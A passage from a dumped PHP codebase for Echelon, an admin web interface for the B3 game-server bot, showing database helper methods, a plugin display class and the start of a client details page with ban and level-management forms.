$this->error_sec;\r\n\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t\r\n\t\t## setup results array\r\n\t\t$results = array();\r\n\t\t$results['data'] = array();\r\n\t\t\r\n\t\t## do certain things depending on type of query\r\n\t\tswitch($type) { \r\n\t\t\tcase 'select': // if type is a select query\r\n\t\t\t\t$stmt->store_result();\r\n\t\t\t\t$results['num_rows'] = $stmt->num_rows(); // find the number of rows retrieved\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tcase 'update':\r\n\t\t\tcase 'insert': // if insert or update find the number of rows affected by the query\r\n\t\t\t\t$results['affected_rows'] = $stmt->affected_rows(); \r\n\t\t\tbreak;\r\n\t\t}\r\n\t\t\r\n\t\t## fetch the results\r\n\t\tif($fetch) : // only fetch data if we need it\r\n\t\t\r\n\t\t\t$meta = $stmt->result_metadata();\r\n\r\n\t\t\twhile ($field = $meta->fetch_field()) :\r\n\t\t\t\t$parameters[] = &$row[$field->name];\r\n\t\t\tendwhile;\r\n\r\n\t\t\tcall_user_func_array(array($stmt, 'bind_result'), $parameters);\r\n\r\n\t\t\twhile ($stmt->fetch()) :\r\n\t\t\t\tforeach($row as $key => $val) {\r\n\t\t\t\t\t$x[$key] = $val;\r\n\t\t\t\t}\r\n\t\t\t\t$results['data'][] = $x;\r\n\t\t\tendwhile;\r\n\r\n\t\tendif;\r\n\t\t\r\n\t\t## return and close off connections\r\n\t\treturn $results;\r\n\t\t$results->close();\r\n\t\t$stmt->close();\r\n\t\t\r\n\t} // end query()\r\n\t\r\n\tfunction getB3Groups() {\r\n\t\t$query = \"SELECT id, name FROM groups ORDER BY id ASC\";\r\n\t\t$stmt = $this->mysql->prepare($query);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->bind_result($id, $name);\r\n\t\t\r\n\t\twhile($stmt->fetch()) :\r\n\t\t\t$groups[] = array(\r\n\t\t\t\t'id' => $id,\r\n\t\t\t\t'name' => $name\r\n\t\t\t); \t\r\n\t\tendwhile;\r\n\t\r\n\t\t$stmt->close();\r\n\t\treturn $groups;\t\r\n\t}\r\n\t\r\n\tfunction getB3GroupsLevel() {\r\n\t\t$query = \"SELECT id FROM groups ORDER BY id ASC\";\r\n\t\t$stmt = $this->mysql->prepare($query);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->bind_result($id);\r\n\t\t\r\n\t\t$groups = array();\r\n\t\t\r\n\t\twhile($stmt->fetch()) :\r\n\t\t\tarray_push($groups, $id);\r\n\t\tendwhile;\r\n\t\r\n\t\t$stmt->close();\r\n\t\treturn $groups;\t\r\n\t\r\n\t}\r\n\t\r\n\t/**\r\n\t * insert a penalty into the penalty table in the B3 DB\r\n\t *\r\n\t * @param string $type - type of penalty\r\n\t * @param int $cid - client_id who is getting the penalty\r\n\t * @param int $duration - duration of pen\r\n\t * @param string $reason - reason for pen\r\n\t * @param string $data - some additional data\r\n\t * @param int $time_expire - time (unix time) for when the pen will expire\r\n\t * @return bool\r\n\t */\r\n\tfunction penClient($type, $cid, $duration, $reason, $data, $time_expire) {\r\n\t\r\n\t\t// id(), type, client_id, admin_id(0), duration, inactive(0), keyword(Echelon), reason, data, time_add(time), time_edit(time), time_expire\r\n\t\t$query = \"INSERT INTO penalties (type, client_id, admin_id, duration, inactive, keyword, reason, data, time_add, time_edit, time_expire) VALUES(?, ?, 0, ?, 0, 'Echelon', ?, ?, UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), ?)\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('MySQL Error');\r\n\t\t$stmt->bind_param('siissi', $type, $cid, $duration, $reason, $data, $time_expire);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows > 0) // if something happened\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\t\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Deactive a penalty\r\n\t *\r\n\t * @param string $pen_id - id of penalty to deactive\r\n\t * @return bool\r\n\t */\r\n\tfunction makePenInactive($pen_id) {\r\n\t\t$query = \"UPDATE penalties SET inactive = 1 WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query);\r\n\t\t$stmt->bind_param('i', $pen_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\t\r\n\t\t$stmt->close();\r\n\t\r\n\t}\r\n\t\r\n\t/**\r\n\t * Get the pbid of the client from a penalty id\r\n\t *\r\n\t * @param string $pen_id - id of penalty to search with\r\n\t * @return string - pbid of the client\r\n\t */\r\n\tfunction getPBIDfromPID($pen_id) {\r\n\t\t$query = \"SELECT c.pbid FROM penalties p LEFT JOIN clients c ON p.client_id = c.id WHERE p.id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query);\r\n\t\t$stmt->bind_param('i', $pen_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$stmt->store_result();\r\n\t\t$stmt->bind_result($pbid);\r\n\t\t$stmt->fetch();\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t\r\n\t\treturn $pbid;\r\n\t}\r\n    \r\n    /**\r\n\t * Get the guid of the client from a penalty id, similar to pbid\r\n\t *\r\n\t * @param string $pen_id - id of penalty to search with\r\n\t * @return string - guid of the client\r\n\t */\r\n    function getGUIDfromPID($pen_id) {\r\n\t\t$query = \"SELECT c.guid FROM penalties p LEFT JOIN clients c ON p.client_id = c.id WHERE p.id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query);\r\n\t\t$stmt->bind_param('i', $pen_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$stmt->store_result();\r\n\t\t$stmt->bind_result($guid);\r\n\t\t$stmt->fetch();\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t\r\n\t\treturn $guid;\r\n\t}\r\n\r\n#############################\r\n#############################\r\n} // end class\r\n\r\n/**\r\n * Exceptions class for the B3 DB\r\n *\r\n */\r\nclass MysqlException extends Exception {\r\n\r\n\tprivate $ex_error;\r\n\tprivate $ex_errno;\r\n\r\n\tpublic function __construct($error, $errno) {\r\n\t\t\r\n\t\t// get sent vars\r\n\t\t$this->ex_error = $error;\r\n\t\t$this->ex_errno = $errno;\r\n\t\t\r\n\t\t// get exception information from parent class\r\n\t\t$traces = parent::getTraceAsString();\r\n\t\t\r\n\t\t// find error message and code\r\n\t\t$code = $this->ex_errno;\r\n\t\t$message = $this->ex_error;\r\n\t\t\r\n\t\t// log error message\r\n\t\t$log_success = echLog('mysql', $message, $code, $traces);\r\n\t\tif(!$log_success)\r\n\t\t\tdie('Could not log fatal error');\r\n\r\n\t\t// call parent constructor\r\n\t\tparent::__construct($message, $code);\r\n\t}\r\n\r\n}", "echelon/classes/plugins-class.php": "<?php\r\nif (!empty($_SERVER['SCRIPT_FILENAME']) && 'plugins-class.php' == basename($_SERVER['SCRIPT_FILENAME']))\r\n  \t\tdie ('Please do not load this page directly. Thanks!');\r\n\r\n/**\r\n * class plugin\r\n * desc: File to deal with Echelon plugins\r\n *\r\n */ \r\n\r\nclass plugins {\r\n\r\n\tprotected $name; // name of the plugin\r\n\tprotected $title; // pretty version of the name of the plugin\r\n\tprivate $version = 1.0;\r\n\t\r\n\tprotected static $plugins_class = NULL;\r\n\t\r\n\tpublic function __construct($name) {\r\n\t\t$this->name = $name;\r\n\t}\r\n\t\r\n\tpublic function __destruct() {\r\n\t}\r\n\t\r\n\tprotected function setTitle($title) {\r\n\t\t$this->title = $title;\r\n\t}\r\n\t\r\n\tprotected function setVersion($version) {\r\n\t\t$this->version = $version;\r\n\t}\r\n\t\r\n\tpublic static function setPluginsClass($value) {\r\n\t\tself::$plugins_class = $value;\r\n\t}\r\n\t\r\n\tprotected function getTitle() {\r\n\t\treturn $this->title;\r\n\t}\r\n\t\r\n\tprotected function getName() {\r\n\t\treturn $this->name;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Internal function: in the case of fatal error die with plugin name and error message\r\n\t */\r\n\tprotected function error($msg) {\r\n\t\tdie($this->getName().' Plugin Error: '. $msg);\r\n\t}\r\n\t\r\n\t/**\r\n\t * This function display information from plugins in the CD's bio area\r\n\t *\r\n\t * @param array $plugins_class - an array of pointers to the class of the plugins\r\n\t */\r\n\tfunction displayCDBio() {\r\n\t\tforeach(self::$plugins_class  as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnClientBio')) {\r\n                $content = $plugin->returnClientBio();\r\n                if (!(empty($content)))\r\n                    echo $content;\r\n                else\r\n                    return NULL;\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n\t\r\n\t/**\r\n\t * This function display the tab of any plugin added forms on the clientdetails page\r\n\t *\r\n\t * @param array $plugins_class - an array of pointers to the class of the plugins\r\n\t */\r\n\tfunction displayCDFormTab() {\r\n\t\tforeach(self::$plugins_class as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnClientFormTab')) {\r\n\t\t\t\t$content = '<li class=\"nav-item\">' .$plugin->returnClientFormTab(). '</li>';\r\n                if (!(empty($plugin->returnClientBio())))\r\n                    echo $content;\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n\r\n    # For plugins like xlrstats\r\n\tfunction displayCDFormNavTab() {\r\n\t\tforeach(self::$plugins_class as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnClientNavTab')) {\r\n\t\t\t\t$content = $plugin->returnClientNavTab();\r\n                if (!(empty($plugin->returnClientBio())))\r\n                    echo '<li class=\"nav-item\">'.$content.'</li>';\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n    \r\n\t# For logging plugins like chatlogger\r\n\tfunction displayCDFormNavTabLog($cid = 0) {\r\n\t\tforeach(self::$plugins_class as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnClientNavTabLog')) {\r\n\t\t\t\t$content = $plugin->returnClientNavTabLog();\r\n                #if ($plugin->returnClientLogs($cid))\r\n                    echo '<li class=\"nav-item\">'.$content.'</li>';\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n\t\r\n\t/**\r\n\t * This function display forms on the clientdetails page added by any plugins\r\n\t *\r\n\t * @param array $plugins_class - an array of pointers to the class of the plugins\r\n\t */\r\n\tfunction displayCDForm($cid = 0) {\r\n\t\tforeach(self::$plugins_class as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnClientForm')) {\r\n\t\t\t\t$content = $plugin->returnClientForm($cid);\r\n\t\t\t\techo $content;\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n\t\r\n\t/**\r\n\t * For each plugin check if they want to add a link\r\n\t */\r\n\tfunction displayNav() {\r\n\t\tforeach(self::$plugins_class as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnNav')) {\r\n\t\t\t\t$content = $plugin->returnNav();\r\n\t\t\t\techo $content;\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n\t\r\n    function NavExists() {\r\n        foreach(self::$plugins_class as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnNav')) {\r\n\t\t\t\treturn True;\r\n\t\t\t}\r\n\t\tendforeach;\r\n    }\r\n    \r\n\t/**\r\n\t * For each plugin check if they want to append something to the end of the CD page\r\n\t */\r\n\tfunction displayCDlogs($cid) {\r\n\t\tforeach(self::$plugins_class as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnClientLogs')) {\r\n\t\t\t\t$content = $plugin->returnClientLogs($cid);\r\n\t\t\t\techo $content;\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n\t\r\n\t/**\r\n\t * For each plugin check if they need to include a css file\r\n\t */\r\n\tfunction getCSS() {\r\n\t\tforeach(self::$plugins_class as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnCSS')) {\r\n\t\t\t\t$content = $plugin->returnCSS();\r\n\t\t\t\techo $content;\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n\t\r\n\t/**\r\n\t * For each plugin check if they need to include a JS file\r\n\t */\r\n\tfunction getJS() {\r\n\t\tforeach(self::$plugins_class as $plugin) :\r\n\t\t\tif(method_exists($plugin, 'returnJS')) {\r\n\t\t\t\t$content = $plugin->returnJS();\r\n\t\t\t\techo $content;\r\n\t\t\t}\r\n\t\tendforeach;\r\n\t}\r\n\r\n\r\n} // end class\r\n", "echelon/clientdetails.php": "<?php\r\n$page = \"clientdetails\";\r\n$page_title = \"Client Details\";\r\n$auth_name = 'clients';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\n$pagination = false; // this page requires the pagination part of the footer\r\nrequire 'inc.php';\r\n\r\n## Do Stuff ##\r\nif($_GET['id'])\r\n\t$cid = $_GET['id'];\r\n\r\nif(!isID($cid)) :\r\n\tset_error('The client id that you have supplied is invalid. Please supply a valid client id.');\r\n\tsend('clients.php');\r\n\texit;\r\nendif;\r\n\t\r\nif($cid == '') {\r\n\tset_error('No user specified, please select one');\r\n\tsend('clients.php');\r\n}\r\n\r\n## Get Client information ##\r\n$query = \"SELECT c.ip, c.connections, c.guid, c.name, c.mask_level, c.greeting, c.time_add, c.time_edit, c.group_bits, g.name\r\n\t\t  FROM clients c LEFT JOIN groups g ON c.group_bits = g.id WHERE c.id = ? LIMIT 1\";\r\n$stmt = $db->mysql->prepare($query) or die('Database Error '. $db->mysql->error);\r\n$stmt->bind_param('i', $cid);\r\n$stmt->execute();\r\n$stmt->bind_result($ip, $connections, $guid, $name, $mask_level, $greeting, $time_add, $time_edit, $group_bits, $user_group);\r\n$stmt->fetch();\r\n$stmt->close();\r\n\r\n## Require Header ##\r\n$page_title .= ' '.$name; // add the clinets name to the end of the title\r\n\r\nrequire 'inc/header.php';\r\n?>\r\n<div class=\"container\">\r\n<div class=\"card my-2\">\r\n<div class=\"card-header\">\r\n<h5 class=\"my-auto\">Client Information</h5></div>\r\n<div class=\"card-body table table-hover table-sm table-responsive\">\r\n<table width=\"100%\">\r\n\t<tbody>\r\n\t\t<tr>\r\n\t\t\t<th>Name</th>\r\n\t\t\t\t<td><?php echo tableClean($name); ?>&nbsp;&nbsp;&nbsp;\r\n                <?php $http = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on'? \"https://\" : \"http://\"; ?>\r\n                    <input type=\"image\" title=\"Copy client URL to clipboard\" onclick=\"copyToClipboard('<?php echo $http.$_SERVER['SERVER_NAME'].PATH;?>clientdetails.php?id=<?php echo $cid; ?>&amp;game=<?php echo $game;?>')\" src=\"images/link.png\" width=\"16\" height=\"16\" alt=\"W\">\r\n                </td>\r\n\t\t\t<th>@ID</th>\r\n\t\t\t\t<td><?php echo $cid; ?></td>\r\n\t\t</tr>       \r\n\t\t<tr>\r\n\t\t\t<th>Level</th>\r\n\t\t\t\t<td><?php\r\n\t\t\t\t\tif($user_group == NULL)\r\n\t\t\t\t\t\techo 'Un-registered';\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo $user_group; \r\n\t\t\t\t\t?>\r\n\t\t\t\t</td>\r\n\t\t\t<th>Connections</th>\r\n\t\t\t\t<td><?php echo $connections; ?></td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<th>GUID</th>\r\n\t\t\t\t<td>\r\n\t\t\t\t<?php \r\n\t\t\t\t\t$guid_len = strlen($guid);\r\n\t\t\t\t\tif($guid_len == 0) {\r\n\t\t\t\t\t\techo '(There is no GUID availible)';\r\n\t\t\t\t\t\r\n\t\t\t\t\t} elseif($mem->reqLevel('view_full_guid')) { // if allowed to see the full guid\r\n\t\t\t\t\t\tif($guid_len == 32) \r\n\t\t\t\t\t\t\tguidCheckLink($guid);\r\n\t\t\t\t\t\telse \r\n\t\t\t\t\t\t\techo $guid.' <span class=\"red\" title=\"This guid is only 31 characters long, it should be 32 characters!\">['. $guid_len .']</span>';\r\n\t\t\t\t\r\n\t\t\t\t\t} elseif($mem->reqLevel('view_half_guid')) { // if allowed to see the last 8 chars of guid\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tif($guid_len == 32) {\r\n\t\t\t\t\t\t\t$half_guid = substr($guid, -8); // get the last 8 characters of the guid\r\n\t\t\t\t\t\t\tguidCheckLink($half_guid);\r\n\t\t\t\t\t\t} else\r\n\t\t\t\t\t\t\techo $guid.' <span class=\"red\" title=\"This guid is only 31 characters long, it should be 32 characters!\">['. $guid_len .']</span>';\r\n\t\t\t\t\t\r\n\t\t\t\t\t} else { // if not allowed to see any part of the guid\r\n\t\t\t\t\t\techo '(You do not have access to see the GUID)';\r\n\t\t\t\t\t}\r\n\t\t\t\t?>\r\n\t\t\t\t</td>\r\n\t\t\t<th>IP Address</th>\r\n\t\t\t\t<td>\r\n\t\t\t\t\t<?php\r\n\t\t\t\t\t$ip = tableClean($ip);\r\n\t\t\t\t\tif($mem->reqLevel('view_ip')) :\r\n\t\t\t\t\t\tif ($ip != \"\") { ?>\r\n\t\t\t\t\t\t\t<a href=\"clients.php?s=<?php echo $ip; ?>&amp;t=ip\" title=\"Search for other users with this IP address\"><?php echo $ip; ?></a>\r\n\t\t\t\t\t\t\t\t&nbsp;&nbsp;\r\n\t\t\t\t\t\t\t<a href=\"http://whois.domaintools.com/<?php echo $ip; ?>\" title=\"Whois IP Search\"><img src=\"images/id_card.png\" width=\"16\" height=\"16\" alt=\"W\" /></a>\r\n\t\t\t\t\t\t\t\t&nbsp;&nbsp;\r\n\t\t\t\t\t\t\t<a href=\"https://whatismyipaddress.com/ip/<?php echo $ip; ?>\" title=\"Show Location of IP origin on map\"><img src=\"images/globe.png\" width=\"16\" height=\"16\" alt=\"L\" /></a>\r\n\t\t\t\t\t<?php\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\techo \"(No IP address available)\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\telse:\t\r\n\t\t\t\t\t\techo '(You do not have access to see the IP address)';\r\n\t\t\t\t\tendif; // if current user is allowed to see the player's IP address\r\n\t\t\t\t\t?>\r\n\t\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<th>First Seen</th>\r\n\t\t\t\t<td><?php echo date($tformat, $time_add); ?></td>\r\n\t\t\t<th>Last Seen</th>\r\n\t\t\t\t<td><?php echo date($tformat, $time_edit); ?></td>\r\n\t\t</tr>\r\n\t</tbody>\r\n</table>\r\n</div></div></div>\r\n\r\n<!-- Start Echelon Actions Panel -->\r\n\r\n<div class=\"container\">\r\n<div class=\"card\">\r\n<div class=\"card-header\">\r\n<ul class=\"nav nav-pills nav-fill mx-2\" role=\"tablist\">\r\n\t\t<?php if($mem->reqLevel('ban')) { ?><li class=\"nav-item\"><a class=\"nav-link active\" id=\"bansection-tab\"\" data-toggle=\"pill\" href=\"#bansection\" role=\"tab\" aria-controls=\"bansection\" aria-selected=\"true\"><h6 class=\"my-auto\">Ban</h6></a></li><?php } ?>\r\n\t\t<?php if($mem->reqLevel('edit_client_level')) { ?><li class=\"nav-item\"><a class=\"nav-link\" id=\"setlevel-tab\" data-toggle=\"pill\" href=\"#setlevel\" role=\"tab\" aria-controls=\"setlevel\" aria-selected=\"false\"><h6 class=\"my-auto\">Set Level</h6></a></li><?php } ?>\r\n\t\t<?php if($mem->reqLevel('edit_mask')) { ?><li class=\"nav-item\"><a class=\"nav-link\" id=\"cd-act-mask-tab\" data-toggle=\"pill\" href=\"#cd-act-mask\" role=\"tab\" aria-controls=\"cd-act-mask\" aria-selected=\"false\"><h6 class=\"my-auto\">Mask Level</h6></a></li><?php } ?>\r\n        <?php if($mem->reqLevel('greeting')) { ?><li class=\"nav-item\"><a class=\"nav-link\" id=\"setgreeting-tab\" data-toggle=\"pill\" href=\"#setgreeting\" role=\"tab\" aria-controls=\"setgreeting\" aria-selected=\"false\"><h6 class=\"my-auto\">Greeting</h6></a></li><?php } ?>\r\n        <?php if($mem->reqLevel('comment')) { ?><li class=\"nav-item\"><a class=\"nav-link\" id=\"addcomment-tab\" data-toggle=\"pill\" href=\"#addcomment\" role=\"tab\" aria-controls=\"addcomment\" aria-selected=\"false\"><h6 class=\"my-auto\">Comment</h6></a></li><?php } ?>\r\n\t\t<?php \r\n\t\t\tif(!$no_plugins_active)\r\n\t\t\t\t$plugins->displayCDFormTab();\r\n\t\t?>\r\n</ul>\r\n</div>\r\n<div class=\"card-body row\">\r\n    <div class=\"col\">\r\n        <div class=\"tab-content\" id=\"v-pills-tabContent\">\r\n  \r\n        <?php\r\n        if($mem->reqLevel('ban')) :\r\n        $ban_token = genFormToken('ban');\r\n\t\t?>\r\n        <div class=\"tab-pane fade show active\" id=\"bansection\" role=\"tabpanel\" aria-labelledby=\"bansection-tab\">\r\n\t\t<div class=\"col justify-center\"> \r\n\t\t\t<form action=\"actions/b3/ban.php\" method=\"post\">\r\n                <?php\r\n                if($mem->reqLevel('permban')) :\r\n                ?>\r\n                <div class=\"form-row my-1\">                                \r\n                            <label class=\"col-sm-4\" for=\"pb\">Permanent Ban?</label>                    \r\n                            <div class=\"col\">\r\n                                <label class=\"my-1 switch\">\r\n                                    <input type=\"checkbox\" name=\"pb\" id=\"pb\"> \r\n                                    <span class=\"slider round\"></span>\r\n                                </label>\r\n                            </div>\r\n                </div>\r\n                <?php\r\n                    endif; // end hide ban section to non authed\r\n                ?>\r\n                \r\n                <div class=\"form-row\" id=\"ban-duration\">\r\n                <label class=\"col-form-label col-sm-4\" for=\"duration\">Duration</label>\r\n                            \r\n                <div class=\"col-md-4\" id=\"ban-duration\">\r\n                    <div class=\"input-group\">\r\n                            <input class=\"form-control int dur\" type=\"number\" name=\"duration\" id=\"duration\" min=\"0\" step=\"1\" data-bind=\"value:replyNumber\">\t\r\n                            <select class=\"custom-select form-control\" name=\"time\">\r\n                                <option value=\"m\">Minutes</option>\r\n                                <option value=\"h\">Hours</option>\r\n                                <option value=\"d\">Days</option>\r\n                                <option value=\"w\">Weeks</option>\r\n                                <option value=\"mn\">Months</option>\r\n                                <option value=\"y\">Years</option>\r\n                            </select>               \r\n                    </div>\r\n      \r\n                </div>\r\n                </div>\r\n                   \r\n                    \r\n\t\t\t\t<div class=\"form-row my-1\">\r\n                    <label class=\"col-form-label col-sm-4\" for=\"reason\">Reason</label>\r\n                    <div class=\"col-md-4\">\r\n                        <input class=\"form-control\" type=\"text\" name=\"reason\" id=\"reason\">\r\n                        </div>\r\n                </div>\r\n\t\t\t\t<input type=\"hidden\" name=\"cid\" value=\"<?php echo $cid; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"c-name\" value=\"<?php echo $name; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"c-ip\" value=\"<?php echo $ip; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"c-pbid\" value=\"<?php echo $guid; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"token\" value=\"<?php echo $ban_token; ?>\" />\r\n\t\t\t\t<button class=\"btn btn-danger float-right my-1\" type=\"submit\" name=\"ban-sub\" value=\"Ban User\" title=\"Banhammer dat snitch\">Ban User</button>\r\n\t\t\t</form>\r\n\t\t</div>       \r\n        </div><!-- Ban Section -->\r\n\t\t<?php\r\n            endif; // end hide ban section to non authed\r\n            $b3_groups = $db->getB3Groups();\r\n            \r\n            if($mem->reqLevel('edit_client_level')) :\r\n\t\t\t$level_token = genFormToken('level');\r\n\t\t?>\r\n        <div class=\"tab-pane fade\" id=\"setlevel\" role=\"tabpanel\" aria-labelledby=\"setlevel-tab\">\r\n        <div class=\"col justify-center\">\r\n\t\t\t<form action=\"actions/b3/level.php\" method=\"post\">\r\n            <div class=\"form-row\">\r\n\t\t\t\t<label class=\"col-sm-4 col-form-label\" for=\"level\">Level</label>\r\n                <div class=\"col-md-4\">\r\n\t\t\t\t\t<select class=\"form-control\" name=\"level\" id=\"level\">\r\n\t\t\t\t\t\t<?php\r\n\t\t\t\t\t\t\tforeach($b3_groups as $group) :\r\n\t\t\t\t\t\t\t\t$gid = $group['id'];\r\n\t\t\t\t\t\t\t\t$gname = $group['name'];\r\n\t\t\t\t\t\t\t\tif($group_bits == $gid)\r\n\t\t\t\t\t\t\t\t\techo '<option value=\"'.$gid.'\" selected=\"selected\">'.$gname.'</option>';\r\n\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\techo '<option value=\"'.$gid.'\">'.$gname.'</option>';\r\n\t\t\t\t\t\t\tendforeach;\r\n\t\t\t\t\t\t?>\r\n\t\t\t\t\t</select>\r\n                    </div>\r\n                </div>\r\n\t\t\t\t\t\r\n\t\t\t\t<div class=\"form-row my-1\" id=\"level-pw\">\r\n\t\t\t\t\t<label class=\"col-sm-4 col-form-label\" for=\"password\">Verify yourself</label>\r\n                    <div class=\"col-md-4\">\r\n\t\t\t\t\t\t<input class=\"form-control\" type=\"password\" name=\"password\" id=\"password\">\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t\t\t\r\n\t\t\t\t<input type=\"hidden\" name=\"old-level\" value=\"<?php echo $group_bits; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"cid\" value=\"<?php echo $cid; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"token\" value=\"<?php echo $level_token; ?>\" />\r\n\t\t\t\t<button class=\"btn btn-primary float-right\" type=\"submit\" name=\"level-sub\" value=\"Change Level\">Set Level</button>\r\n\t\t\t</form>\r\n\t\t</div>\r\n        </div>\r\n\t\t<?php\r\n\t\t\tendif; // end if \r\n\t\t\tif($mem->reqLevel('edit_mask')) : \r\n\t\t\t$mask_lvl_token = genFormToken('mask');\r\n\t\t?>\r\n        <div class=\"tab-pane fade\" id=\"cd-act-mask\" role=\"tabpanel\" aria-labelledby=\"cd-act-mask-tab\">\r\n            <div class=\"col\">\r\n\t\t\t<form action=\"actions/b3/level.php\" method=\"post\">\r\n            <div class=\"form-row\">\r\n                <label class=\"col-sm-4 col-form-label\" for=\"mlevel\">Mask Level</label>\r\n                <div class=\"col-md-4\">\r\n\t\t\t\t\t<select class=\"form-control\" name=\"level\" id=\"mlevel\">\r\n\t\t\t\t\t\t<?php\r\n\t\t\t\t\t\t\tforeach($b3_groups as $group) :\r\n\t\t\t\t\t\t\t\t$gid = $group['id'];\r\n\t\t\t\t\t\t\t\t$gname = $group['name'];\r\n\t\t\t\t\t\t\t\tif($mask_level == $gid)\r\n\t\t\t\t\t\t\t\t\techo '<option value=\"'.$gid.'\" selected=\"selected\">'.$gname.'</option>';\r\n\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\techo '<option value=\"'.$gid.'\">'.$gname.'</option>';\r\n\t\t\t\t\t\t\tendforeach;\r\n\t\t\t\t\t\t?>\r\n\t\t\t\t\t</select>\r\n                    </div></div>\r\n\t\t\t\t<input type=\"hidden\" name=\"old-level\" value=\"<?php echo $group_bits; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"cid\" value=\"<?php echo $cid; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"token\" value=\"<?php echo $mask_lvl_token; ?>\" />\r\n\t\t\t\t<button class=\"btn btn-primary float-right my-1\" type=\"submit\" name=\"mlevel-sub\" value=\"Change Mask\">Set masked level</button>\r\n\t\t\t</form>\r\n\t\t</div>\r\n        </div>\r\n\t\t<?php \r\n\t\t\tendif;\r\n\t\t\tif($mem->reqLevel('greeting')) :\r\n\t\t\t$greeting_token = genFormToken('greeting');\r\n\t\t?>\r\n        <div class=\"tab-pane fade\" id=\"setgreeting\" role=\"tabpanel\" aria-labelledby=\"setgreeting-tab\">\r\n            <div class=\"col justify-content-center m-auto\">\r\n\r\n\t\t\t<form action=\"actions/b3/greeting.php\" method=\"post\">\r\n            <div class=\"form-row\">\r\n\t\t\t\t<label class=\"col-form-label col-sm-4\" for=\"greeting\">Greeting Message</label>\r\n                    <div class=\"col-md-4\">\r\n                        <textarea class=\"form-control\" rows=\"3\" name=\"greeting\" id=\"greeting\"><?php echo $greeting; ?></textarea>\r\n                    </div>\r\n                </div>\t\r\n\t\t\t\t<input type=\"hidden\" name=\"token\" value=\"<?php echo $greeting_token; ?>\" />\r\n\t\t\t\t<input type=\"hidden\" name=\"cid\" value=\"<?php echo $cid; ?>\" />\r\n\t\t\t\t<button class=\"btn btn-primary float-right my-1\" type=\"submit\" name=\"greeting-sub\" value=\"Edit Greeting\">Set Greeting</button>\r\n\t\t\t</form>\r\n\t\t</div>\r\n        </div>\r\n\t\t<?php\r\n\t\t\tendif;            \r\n\t\t\tif($mem->reqLevel('comment')) :\r\n\t\t\t$comment_token = genFormToken('comment');\t\r\n\t\t?>\r\n        <div class=\"tab-pane fade\" id=\"addcomment\" role=\"tabpanel\" aria-labelledby=\"addcomment-tab\">\r\n            <div class=\"col justify-content-center\">\r\n                <form action=\"actions/b3/comment.php\" method=\"post\">\r\n                    <div class=\"form-row\">\r\n                    <label class=\"col-form-label col-sm-4\" for=\"comment\">Comment</label>\r\n                        <div class=\"col-md-4\">\r\n                            <textarea class=\"form-control\" type=\"text\" name=\"comment\" id=\"comment\" rows=\"3\"></textarea>\r\n                        </div>\r\n                    </div>\r\n                    <input type=\"hidden\" name=\"token\" value=\"<?php echo $comment_token; ?>\" />\r\n                    <input type=\"hidden\" name=\"cid\" value=\"<?php echo $cid; ?>\" />\r\n                    <button class=\"btn btn-primary float-right my-1\" type=\"submit\" name=\"comment-sub\">Add Comment</button>\r\n                </form>\r\n            </div>\r\n        </div>\r\n\t\t<?php\r\n\t\t\tendif;\r\n\t\t\t## Plugins CD Form 